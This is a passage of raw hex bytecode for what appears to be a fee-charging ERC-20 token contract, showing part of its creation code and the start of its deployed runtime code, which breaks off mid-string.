a09f8bb8054861682179055908616835290822080549093168117909255600b90620006386000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600b84528281208054861660019081179091558783168083528483208054881683179055601f549093168252600c8552838220805490961617909455601a5481855260058452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050505050505062000bde565b3390565b6000806200070a838562000b55565b905083811015620007625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064015b60405180910390fd5b90505b92915050565b6000826000036200077f5750600062000765565b60006200078d838562000b10565b9050826200079c858362000b6b565b14620007625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840162000759565b60006200076283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200083f60201b60201c565b60008183620008635760405162461bcd60e51b815260040162000759919062000b8e565b50600062000872848662000b6b565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620008a657607f821691505b602082108103620008c757634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200091b57600081815260208120601f850160051c81016020861015620008f65750805b601f850160051c820191505b81811015620009175782815560010162000902565b5050505b505050565b81516001600160401b038111156200093c576200093c6200087b565b62000954816200094d845462000891565b84620008cd565b602080601f8311600181146200098c5760008415620009735750858301515b600019600386901b1c1916600185901b17855562000917565b600085815260208120601f198616915b82811015620009bd578886015182559484019460019091019084016200099c565b5085821015620009dc5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000a4357816000190482111562000a275762000a27620009ec565b8085161562000a3557918102915b93841c939080029062000a07565b509250929050565b60008262000a5c5750600162000765565b8162000a6b5750600062000765565b816001811462000a84576002811462000a8f5762000aaf565b600191505062000765565b60ff84111562000aa35762000aa3620009ec565b50506001821b62000765565b5060208310610133831016604e8410600b841016171562000ad4575081810a62000765565b62000ae0838362000a02565b806000190482111562000af75762000af7620009ec565b029392505050565b60006200076260ff84168362000a4b565b8082028115828204841417620007655762000765620009ec565b60006020828403121562000b3d57600080fd5b81516001600160a01b03811681146200076257600080fd5b80820180821115620007655762000765620009ec565b60008262000b8957634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b8181101562000bbd5785810183015185820160400152820162000b9f565b506000604082860101526040601f19601f8301168501019250505092915050565b60805161292462000c016000396000818161051b0152610e0001526129246000f3fe6080604052600436106103dd5760003560e01c806388790a68116101fd578063b1921c3111610118578063cab03471116100ab578063dd62ed3e1161007a578063dd62ed3e14610b7b578063ea7a6eb114610bc1578063f0cd1dac14610be1578063f2fde38b14610bf7578063f61ffad614610c1757600080fd5b8063cab0347114610b18578063d00efb2f14610b2e578063d9419b7314610b44578063dc44b6a014610b6557600080fd5b8063c49b9a80116100e7578063c49b9a8014610aac578063c5d2418914610acc578063c816841b14610ae2578063c860795214610b0257600080fd5b8063b1921c3114610a1d578063b49ece6314610a56578063c2d4640e14610a76578063c469b6dd14610a9657600080fd5b8063a08e671f11610190578063a83f53a71161015f578063a83f53a714610997578063a8e15150146109ad578063a9059cbb146109dd578063a911928c146109fd57600080fd5b8063a08e671f14610921578063a2a17cda14610937578063a457c2d714610957578063a7c257b21461097757600080fd5b8063918d5688116101cc578063918d5688146108cc57806395d89b41146108e1578063962dc50a146108f6578063a073d37f1461090c57600080fd5b806388790a68146108635780638c2fc7ad146108795780638da5cb5b14610899578063914eb66a146108b757600080fd5b80633e4e1728116102f8578063614d19b81161028b57806370a082311161025a57806370a08231146107b75780637a62ba03146107ed57806382eefb431461080d578063844d591c1461082357806387712e8c1461084357600080fd5b8063614d19b81461074057806361a23c6914610761578063632e544214610777578063689b30c31461079757600080fd5b806350b20cac116102c757806350b20cac146106ba5780635785b651146106da57806357a5802f1461070a5780635ac419e11461072057600080fd5b80633e4e1728146106145780633ecad2711461063957806340aa81fe146106695780634a74bb021461069957600080fd5b806327c8f8351161037057806335d32bc31161033f57806335d32bc31461059457806339509351146105b45780633b97084a146105d45780633e07387c146105f457600080fd5b806327c8f835146105095780632af386051461053d5780632b112e491461055d578063313ce5671461057257600080fd5b80631694505e116103ac5780631694505e1461047a57806318160ddd146104b2578063200618df146104c757806323b872dd146104e957600080fd5b806303675260146103e957806306fdde0314610412578063095ea7b3146104345780630c70a9921461046457600080fd5b366103e457005b600080fd5b3480156103f557600080fd5b506103ff60085481565b6040519081526020015b60405180910390f35b34801561041e57600080fd5b50610427610c37565b60405161040991906123c4565b34801561044057600080fd5b5061045461044f366004612427565b610cc9565b6040519015158152602001610409565b34801561047057600080fd5b506103ff601b5481565b34801561048657600080fd5b50601e5461049a906001600160a01b031681565b6040516001600160a01b039091168152602001610409565b3480156104be57600080fd5b50601a546103ff565b3480156104d357600080fd5b506104e76104e2366004612453565b610ce0565b005b3480156104f557600080fd5b5061045461050436600461247f565b610d3e565b34801561051557600080fd5b5061049a7f000000000000000000000000000000000000000000000000000000000000000081565b34801561054957600080fd5b506104e76105583660046124d5565b610da9565b34801561056957600080fd5b506103ff610dfe565b34801561057e57600080fd5b5060035460405160ff9091168152602001610409565b3480156105a057600080fd5b506104e76105af3660046124d5565b610e48565b3480156105c057600080fd5b506104546105cf366004612427565b610e9d565b3480156105e057600080fd5b506104e76105ef36600461250a565b610ed3565b34801561060057600080fd5b506104e761060f366004612523565b610f02565b34801561062057600080fd5b5060035461049a9061010090046001600160a01b031681565b34801561064557600080fd5b5061045461065436600461253e565b600c6020526000908152604090205460ff1681565b34801561067557600080fd5b5061045461068436600461253e565b600a6020526000908152604090205460ff1681565b3480156106a557600080fd5b50601f5461045490600160a81b900460ff1681565b3480156106c657600080fd5b506104e76106d53660046125a7565b610f4a565b3480156106e657600080fd5b506104546106f536600461253e565b600b6020526000908152604090205460ff1681565b34801561071657600080fd5b506103ff60145481565b34801561072c57600080fd5b506104e761073b366004612453565b610ff6565b34801561074c57600080fd5b50601f5461045490600160b81b900460ff1681565b34801561076d57600080fd5b506103ff60155481565b34801561078357600080fd5b506104e76107923660046125fb565b611045565b3480156107a357600080fd5b506104e76107b236600461253e565b6110fe565b3480156107c357600080fd5b506103ff6107d236600461253e565b6001600160a01b031660009081526005602052604090205490565b3480156107f957600080fd5b506104e761080836600461250a565b611150565b34801561081957600080fd5b506103ff60185481565b34801561082f57600080fd5b506104e761083e3660046124d5565b611183565b34801561084f57600080fd5b506104e761085e36600461250a565b6111d8565b34801561086f57600080fd5b506103ff60115481565b34801561088557600080fd5b506104e76108943660046124d5565b611207565b3480156108a557600080fd5b506000546001600160a01b031661049a565b3480156108c357600080fd5b506104e761125c565b3480156108d857600080fd5b506104e76112d6565b3480156108ed57600080fd5b50610427611307565b34801561090257600080fd5b506103ff601c5481565b34801561091857600080fd5b50601d546103ff565b34801561092d57600080fd5b506103ff60195481565b34801561094357600080fd5b506104e76109523660046124d5565b611316565b34801561096357600080fd5b50610454610972366004612427565b61136b565b34801561098357600080fd5b506104e761099236600461250a565b6113ba565b3480156109a357600080fd5b506103ff60165481565b3480156109b957600080fd5b506104546109c836600461253e565b60096020526000908152604090205460ff1681565b3480156109e957600080fd5b506104546109f8366004612427565b6113e9565b348015610a0957600080fd5b50610454610a18366004612647565b101590565b348015610a2957600080fd5b50610454610a3836600461253e565b6001600160a01b03166000908152600d602052604090205460ff1690565b348015610a6257600080fd5b506104e7610a71366004612523565b6113f6565b348015610a8257600080fd5b506104e7610a91366004612453565b61143e565b348015610aa257600080fd5b506103ff60105481565b348015610ab857600080fd5b506104e7610ac7366004612523565b61148d565b348015610ad857600080fd5b506103ff600f5481565b348015610aee57600080fd5b50601f5461049a906001600160a01b031681565b348015610b0e57600080fd5b506103ff60125481565b348015610b2457600080fd5b506103ff60135481565b348015610b3a57600080fd5b506103ff60075481565b348015610b5057600080fd5b50601f5461045490600160b01b900460ff1681565b348015610b7157600080fd5b506103ff600e5481565b348015610b8757600080fd5b506103ff610b96366004612669565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b348015610bcd57600080fd5b5060045461049a906001600160a01b031681565b348015610bed57600080fd5b506103ff60175481565b348015610c0357600080fd5b506104e7610c1236600461253e565b61150f565b348015610c2357600080fd5b506104e7610c3236600461253e565b6115f9565b606060018054610c46906126a2565b80601f0160208091040260200160405190810160405280929190818152602001828054610c72906126a2565b8015610cbf5780601f10610c9457610100808354040283529160200191610cbf565b820191906000526020600020905b815481529060010190602001808311610ca257829003601f168201915b5050505050905090565b6000610cd6338484611768565b5060015b92915050565b6000546001600160a01b03163314610d135760405162461bcd60e51b8152600401610d0a906126dc565b60405180910390fd5b601183905560128290556013819055610d3681610d308585611645565b90611645565b601855505050565b6000610d4b84848461188c565b50610d9e8433610d99856040518060600160405280602881526020016128a2602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190611c85565b611768565b5060015b9392505050565b6000546001600160a01b03163314610dd35760405162461bcd60e51b8152600401610d0a906126dc565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260056020526040812054601a54610e4391611cbf565b905090565b6000546001600160a01b03163314610e725760405162461bcd60e51b8152600401610d0a906126dc565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b3360008181526006602090815260408083206001600160a01b03871684529091528120549091610cd6918590610d999086611645565b6000546001600160a01b03163314610efd5760405162461bcd60e51b8152600401610d0a906126dc565b601d55565b6000546001600160a01b03163314610f2c5760405162461bcd60e51b8152600401610d0a906126dc565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610f745760405162461bcd60e51b8152600401610d0a906126dc565b60c98210610f8157600080fd5b60005b82811015610ff0578160096000868685818110610fa357610fa3612711565b9050602002016020810190610fb8919061253e565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610fe98161273d565b9050610f84565b50505050565b6000546001600160a01b031633146110205760405162461bcd60e51b8152600401610d0a906126dc565b600e839055600f829055601081905561103d81610d308585611645565b601755505050565b6000546001600160a01b0316331461106f5760405162461bcd60e51b8152600401610d0a906126dc565b6107d1821061107d57600080fd5b60006110898383612756565b336000908152600560205260409020549091508111156110a857600080fd5b60005b838110156110f7576110e4338686848181106110c9576110c9612711565b90506020020160208101906110de919061253e565b85611d01565b50806110ef8161273d565b9150506110ab565b5050505050565b6000546001600160a01b031633146111285760405162461bcd60e51b8152600401610d0a906126dc565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b0316331461117a5760405162461bcd60e51b8152600401610d0a906126dc565b60085543600755565b6000546001600160a01b031633146111ad5760405162461bcd60e51b8152600401610d0a906126dc565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146112025760405162461bcd60e51b8152600401610d0a906126dc565b601b55565b6000546001600160a01b031633146112315760405162461bcd60e51b8152600401610d0a906126dc565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146112865760405162461bcd60e51b8152600401610d0a906126dc565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b031633146113005760405162461bcd60e51b8152600401610d0a906126dc565b6000600755565b606060028054610c46906126a2565b6000546001600160a01b031633146113405760405162461bcd60e51b8152600401610d0a906126dc565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000610cd63384610d99856040518060600160405280602581526020016128ca602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190611c85565b6000546001600160a01b031633146113e45760405162461bcd60e51b8152600401610d0a906126dc565b601c55565b6000610d9e33848461188c565b6000546001600160a01b031633146114205760405162461bcd60e51b8152600401610d0a906126dc565b601f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146114685760405162461bcd60e51b8152600401610d0a906126dc565b60148390556015829055601681905561148581610d308585611645565b601955505050565b6000546001600160a01b031633146114b75760405162461bcd60e51b8152600401610d0a906126dc565b601f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061150490831515815260200190565b60405180910390a150565b6000546001600160a01b031633146115395760405162461bcd60e51b8152600401610d0a906126dc565b6001600160a01b03811661159e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d0a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146116235760405162461bcd60e51b8152600401610d0a906126dc565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b600080611652838561276d565b905083811015610da25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610d0a565b6000826000036116b657506000610cda565b60006116c28385612756565b9050826116cf8583612780565b14610da25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610d0a565b6000610da283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611de7565b6001600160a01b0383166117ca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610d0a565b6001600160a01b03821661182b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610d0a565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166118f25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610d0a565b6001600160a01b0383166119545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610d0a565b601f54600160a01b900460ff161561197857611971848484611d01565b9050610da2565b6001600160a01b0384166000908152600b602052604090205460ff161580156119ba57506001600160a01b0383166000908152600b602052604090205460ff16155b156119d4576119cb82601b54101590565b6119d457600080fd5b30600090815260056020526040902054601d5481108015908190611a025750601f54600160a01b900460ff16155b8015611a2757506001600160a01b0386166000908152600c602052604090205460ff16155b8015611a3c5750601f54600160a81b900460ff165b15611a6257601f54600160b01b900460ff1615611a5957601d5491505b611a6282611e15565b611a6c8686611f50565b15611add576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260059091529190912054611ac3918690611c85565b6001600160a01b0387166000908152600560205260409020555b6001600160a01b03861660009081526009602052604081205460ff1680611b1c57506001600160a01b03861660009081526009602052604090205460ff165b15611b28575083611b8c565b600060075411611b3757600080fd5b611b4b43600854600754610a18919061276d565b8015611b7057506001600160a01b0386166000908152600c602052604090205460ff16155b15611b7e57611b7e86611f88565b611b89878787611ff6565b90505b601f54600160b81b900460ff168015611bbe57506001600160a01b0386166000908152600a602052604090205460ff16155b15611bfa57611bf1611be982610d30896001600160a01b031660009081526005602052604090205490565b601c54101590565b611bfa57600080fd5b6001600160a01b038616600090815260056020526040902054611c1d9082611645565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c719085815260200190565b60405180910390a360019350505050610da2565b60008184841115611ca95760405162461bcd60e51b8152600401610d0a91906123c4565b506000611cb684866127a2565b95945050505050565b6000610da283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c85565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054611d52918490611c85565b6001600160a01b038086166000908152600560205260408082209390935590851681522054611d819083611645565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611dd59086815260200190565b60405180910390a35060019392505050565b60008183611e085760405162461bcd60e51b8152600401610d0a91906123c4565b506000611cb68486612780565b601f805460ff60a01b1916600160a01b179055601954601454600091611e4b91600291611e4591829087906116a4565b90611726565b90506000611e598383611cbf565b9050611e6481612145565b6014544790600090611e8490611e7b906002611726565b60195490611cbf565b90506000611ea66002611e4584611e45601454886116a490919063ffffffff16565b90506000611ec383611e45601654876116a490919063ffffffff16565b90506000611edb82611ed58786611cbf565b90611cbf565b90508015611efe57600354611efe9061010090046001600160a01b0316826122d8565b8115611f1a57600454611f1a906001600160a01b0316836122d8565b600083118015611f2a5750600087115b15611f3957611f398784612313565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316836001600160a01b0316141580610da257506004546001600160a01b0384811691161415905092915050565b6001600160a01b0381166000908152600d602052604090205460ff16158015611fca57506001600160a01b0381166000908152600c602052604090205460ff16155b15611ff3576001600160a01b0381166000908152600d60205260409020805460ff191660011790555b50565b6001600160a01b0383166000908152600c6020526040812054819060ff161561203a576120336064611e45601754866116a490919063ffffffff16565b9050612078565b6001600160a01b0384166000908152600c602052604090205460ff1615612078576120756064611e45601854866116a490919063ffffffff16565b90505b6001600160a01b0385166000908152600d602052604090205460ff1680156120b957506001600160a01b0385166000908152600c602052604090205460ff16155b156120c15750815b801561213b57306000908152600560205260409020546120e19082611645565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906121329085815260200190565b60405180910390a35b611cb68382611cbf565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061217a5761217a612711565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156121d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121f791906127b5565b8160018151811061220a5761220a612711565b6001600160a01b039283166020918202929092010152601e546122309130911684611768565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612269908590600090869030904290600401612816565b600060405180830381600087803b15801561228357600080fd5b505af1158015612297573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516122cc929190612852565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561230e573d6000803e3d6000fd5b505050565b601e5461232b9030906001600160a01b031684611768565b601e546004805460405163f305d71960e01b815230928101929092526024820185905260006044830181905260648301526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af115801561239f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110f79190612873565b600060208083528351808285015260005b818110156123f1578581018301518582016040015282016123d5565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611ff357600080fd5b6000806040838503121561243a57600080fd5b823561244581612412565b946020939093013593505050565b60008060006060848603121561246857600080fd5b505081359360208301359350604090920135919050565b60008060006060848603121561249457600080fd5b833561249f81612412565b925060208401356124af81612412565b929592945050506040919091013590565b803580151581146124d057600080fd5b919050565b600080604083850312156124e857600080fd5b82356124f381612412565b9150612501602084016124c0565b90509250929050565b60006020828403121561251c57600080fd5b5035919050565b60006020828403121561253557600080fd5b610da2826124c0565b60006020828403121561255057600080fd5b8135610da281612412565b60008083601f84011261256d57600080fd5b50813567ffffffffffffffff81111561258557600080fd5b6020830191508360208260051b85010111156125a057600080fd5b9250929050565b6000806000604084860312156125bc57600080fd5b833567ffffffffffffffff8111156125d357600080fd5b6125df8682870161255b565b90945092506125f29050602085016124c0565b90509250925092565b60008060006040848603121561261057600080fd5b833567ffffffffffffffff81111561262757600080fd5b6126338682870161255b565b909790965060209590950135949350505050565b6000806040838503121561265a57600080fd5b50508035926020909101359150565b6000806040838503121561267c57600080fd5b823561268781612412565b9150602083013561269781612412565b809150509250929050565b600181811c908216806126b657607f821691505b6020821081036126d657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161274f5761274f612727565b5060010190565b8082028115828204841417610cda57610cda612727565b80820180821115610cda57610cda612727565b60008261279d57634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610cda57610cda612727565b6000602082840312156127c757600080fd5b8151610da281612412565b600081518084526020808501945080840160005b8381101561280b5781516001600160a01b0316875295820195908201906001016127e6565b509495945050505050565b85815284602082015260a06040820152600061283560a08301866127d2565b6001600160a01b0394909416606083015250608001529392505050565b82815260406020820152600061286b60408301846127d2565b949350505050565b60008060006060848603121561288857600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201b52cf29a8e1207274dabc0c21bc69bbf61cfee1b668dc0dd8ea364a05837f5d64736f6c63430008110033
Deployed Bytecode
0x6080604052600436106103dd5760003560e01c806388790a68116101fd578063b1921c3111610118578063cab03471116100ab578063dd62ed3e1161007a578063dd62ed3e14610b7b578063ea7a6eb114610bc1578063f0cd1dac14610be1578063f2fde38b14610bf7578063f61ffad614610c1757600080fd5b8063cab0347114610b18578063d00efb2f14610b2e578063d9419b7314610b44578063dc44b6a014610b6557600080fd5b8063c49b9a80116100e7578063c49b9a8014610aac578063c5d2418914610acc578063c816841b14610ae2578063c860795214610b0257600080fd5b8063b1921c3114610a1d578063b49ece6314610a56578063c2d4640e14610a76578063c469b6dd14610a9657600080fd5b8063a08e671f11610190578063a83f53a71161015f578063a83f53a714610997578063a8e15150146109ad578063a9059cbb146109dd578063a911928c146109fd57600080fd5b8063a08e671f14610921578063a2a17cda14610937578063a457c2d714610957578063a7c257b21461097757600080fd5b8063918d5688116101cc578063918d5688146108cc57806395d89b41146108e1578063962dc50a146108f6578063a073d37f1461090c57600080fd5b806388790a68146108635780638c2fc7ad146108795780638da5cb5b14610899578063914eb66a146108b757600080fd5b80633e4e1728116102f8578063614d19b81161028b57806370a082311161025a57806370a08231146107b75780637a62ba03146107ed57806382eefb431461080d578063844d591c1461082357806387712e8c1461084357600080fd5b8063614d19b81461074057806361a23c6914610761578063632e544214610777578063689b30c31461079757600080fd5b806350b20cac116102c757806350b20cac146106ba5780635785b651146106da57806357a5802f1461070a5780635ac419e11461072057600080fd5b80633e4e1728146106145780633ecad2711461063957806340aa81fe146106695780634a74bb021461069957600080fd5b806327c8f8351161037057806335d32bc31161033f57806335d32bc31461059457806339509351146105b45780633b97084a146105d45780633e07387c146105f457600080fd5b806327c8f835146105095780632af386051461053d5780632b112e491461055d578063313ce5671461057257600080fd5b80631694505e116103ac5780631694505e1461047a57806318160ddd146104b2578063200618df146104c757806323b872dd146104e957600080fd5b806303675260146103e957806306fdde0314610412578063095ea7b3146104345780630c70a9921461046457600080fd5b366103e457005b600080fd5b3480156103f557600080fd5b506103ff60085481565b6040519081526020015b60405180910390f35b34801561041e57600080fd5b50610427610c37565b60405161040991906123c4565b34801561044057600080fd5b5061045461044f366004612427565b610cc9565b6040519015158152602001610409565b34801561047057600080fd5b506103ff601b5481565b34801561048657600080fd5b50601e5461049a906001600160a01b031681565b6040516001600160a01b039091168152602001610409565b3480156104be57600080fd5b50601a546103ff565b3480156104d357600080fd5b506104e76104e2366004612453565b610ce0565b005b3480156104f557600080fd5b5061045461050436600461247f565b610d3e565b34801561051557600080fd5b5061049a7f000000000000000000000000000000000000000000000000000000000000dead81565b34801561054957600080fd5b506104e76105583660046124d5565b610da9565b34801561056957600080fd5b506103ff610dfe565b34801561057e57600080fd5b5060035460405160ff9091168152602001610409565b3480156105a057600080fd5b506104e76105af3660046124d5565b610e48565b3480156105c057600080fd5b506104546105cf366004612427565b610e9d565b3480156105e057600080fd5b506104e76105ef36600461250a565b610ed3565b34801561060057600080fd5b506104e761060f366004612523565b610f02565b34801561062057600080fd5b5060035461049a9061010090046001600160a01b031681565b34801561064557600080fd5b5061045461065436600461253e565b600c6020526000908152604090205460ff1681565b34801561067557600080fd5b5061045461068436600461253e565b600a6020526000908152604090205460ff1681565b3480156106a557600080fd5b50601f5461045490600160a81b900460ff1681565b3480156106c657600080fd5b506104e76106d53660046125a7565b610f4a565b3480156106e657600080fd5b506104546106f536600461253e565b600b6020526000908152604090205460ff1681565b34801561071657600080fd5b506103ff60145481565b34801561072c57600080fd5b506104e761073b366004612453565b610ff6565b34801561074c57600080fd5b50601f5461045490600160b81b900460ff1681565b34801561076d57600080fd5b506103ff60155481565b34801561078357600080fd5b506104e76107923660046125fb565b611045565b3480156107a357600080fd5b506104e76107b236600461253e565b6110fe565b3480156107c357600080fd5b506103ff6107d236600461253e565b6001600160a01b031660009081526005602052604090205490565b3480156107f957600080fd5b506104e761080836600461250a565b611150565b34801561081957600080fd5b506103ff60185481565b34801561082f57600080fd5b506104e761083e3660046124d5565b611183565b34801561084f57600080fd5b506104e761085e36600461250a565b6111d8565b34801561086f57600080fd5b506103ff60115481565b34801561088557600080fd5b506104e76108943660046124d5565b611207565b3480156108a557600080fd5b506000546001600160a01b031661049a565b3480156108c357600080fd5b506104e761125c565b3480156108d857600080fd5b506104e76112d6565b3480156108ed57600080fd5b50610427611307565b34801561090257600080fd5b506103ff601c5481565b34801561091857600080fd5b50601d546103ff565b34801561092d57600080fd5b506103ff60195481565b34801561094357600080fd5b506104e76109523660046124d5565b611316565b34801561096357600080fd5b50610454610972366004612427565b61136b565b34801561098357600080fd5b506104e761099236600461250a565b6113ba565b3480156109a357600080fd5b506103ff60165481565b3480156109b957600080fd5b506104546109c836600461253e565b60096020526000908152604090205460ff1681565b3480156109e957600080fd5b506104546109f8366004612427565b6113e9565b348015610a0957600080fd5b50610454610a18366004612647565b101590565b348015610a2957600080fd5b50610454610a3836600461253e565b6001600160a01b03166000908152600d602052604090205460ff1690565b348015610a6257600080fd5b506104e7610a71366004612523565b6113f6565b348015610a8257600080fd5b506104e7610a91366004612453565b61143e565b348015610aa257600080fd5b506103ff60105481565b348015610ab857600080fd5b506104e7610ac7366004612523565b61148d565b348015610ad857600080fd5b506103ff600f5481565b348015610aee57600080fd5b50601f5461049a906001600160a01b031681565b348015610b0e57600080fd5b506103ff60125481565b348015610b2457600080fd5b506103ff60135481565b348015610b3a57600080fd5b506103ff60075481565b348015610b5057600080fd5b50601f5461045490600160b01b900460ff1681565b348015610b7157600080fd5b506103ff600e5481565b348015610b8757600080fd5b506103ff610b96366004612669565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b348015610bcd57600080fd5b5060045461049a906001600160a01b031681565b348015610bed57600080fd5b506103ff60175481565b348015610c0357600080fd5b506104e7610c1236600461253e565b61150f565b348015610c2357600080fd5b506104e7610c3236600461253e565b6115f9565b606060018054610c46906126a2565b80601f0160208091040260200160405190810160405280929190818152602001828054610c72906126a2565b8015610cbf5780601f10610c9457610100808354040283529160200191610cbf565b820191906000526020600020905b815481529060010190602001808311610ca257829003601f168201915b5050505050905090565b6000610cd6338484611768565b5060015b92915050565b6000546001600160a01b03163314610d135760405162461bcd60e51b8152600401610d0a906126dc565b60405180910390fd5b601183905560128290556013819055610d3681610d308585611645565b90611645565b601855505050565b6000610d4b84848461188c565b50610d9e8433610d99856040518060600160405280602881526020016128a2602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190611c85565b611768565b5060015b9392505050565b6000546001600160a01b03163314610dd35760405162461bcd60e51b8152600401610d0a906126dc565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260056020526040812054601a54610e4391611cbf565b905090565b6000546001600160a01b03163314610e725760405162461bcd60e51b8152600401610d0a906126dc565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b3360008181526006602090815260408083206001600160a01b03871684529091528120549091610cd6918590610d999086611645565b6000546001600160a01b03163314610efd5760405162461bcd60e51b8152600401610d0a906126dc565b601d55565b6000546001600160a01b03163314610f2c5760405162461bcd60e51b8152600401610d0a906126dc565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610f745760405162461bcd60e51b8152600401610d0a906126dc565b60c98210610f8157600080fd5b60005b82811015610ff0578160096000868685818110610fa357610fa3612711565b9050602002016020810190610fb8919061253e565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610fe98161273d565b9050610f84565b50505050565b6000546001600160a01b031633146110205760405162461bcd60e51b8152600401610d0a906126dc565b600e839055600f829055601081905561103d81610d308585611645565b601755505050565b6000546001600160a01b0316331461106f5760405162461bcd60e51b8152600401610d0a906126dc565b6107d1821061107d57600080fd5b60006110898383612756565b336000908152600560205260409020549091508111156110a857600080fd5b60005b838110156110f7576110e4338686848181106110c9576110c9612711565b90506020020160208101906110de919061253e565b85611d01565b50806110ef8161273d565b9150506110ab565b5050505050565b6000546001600160a01b031633146111285760405162461bcd60e51b8152600401610d0a906126dc565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b0316331461117a5760405162461bcd60e51b8152600401610d0a906126dc565b60085543600755565b6000546001600160a01b031633146111ad5760405162461bcd60e51b8152600401610d0a906126dc565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146112025760405162461bcd60e51b8152600401610d0a906126dc565b601b55565b6000546001600160a01b031633146112315760405162461bcd6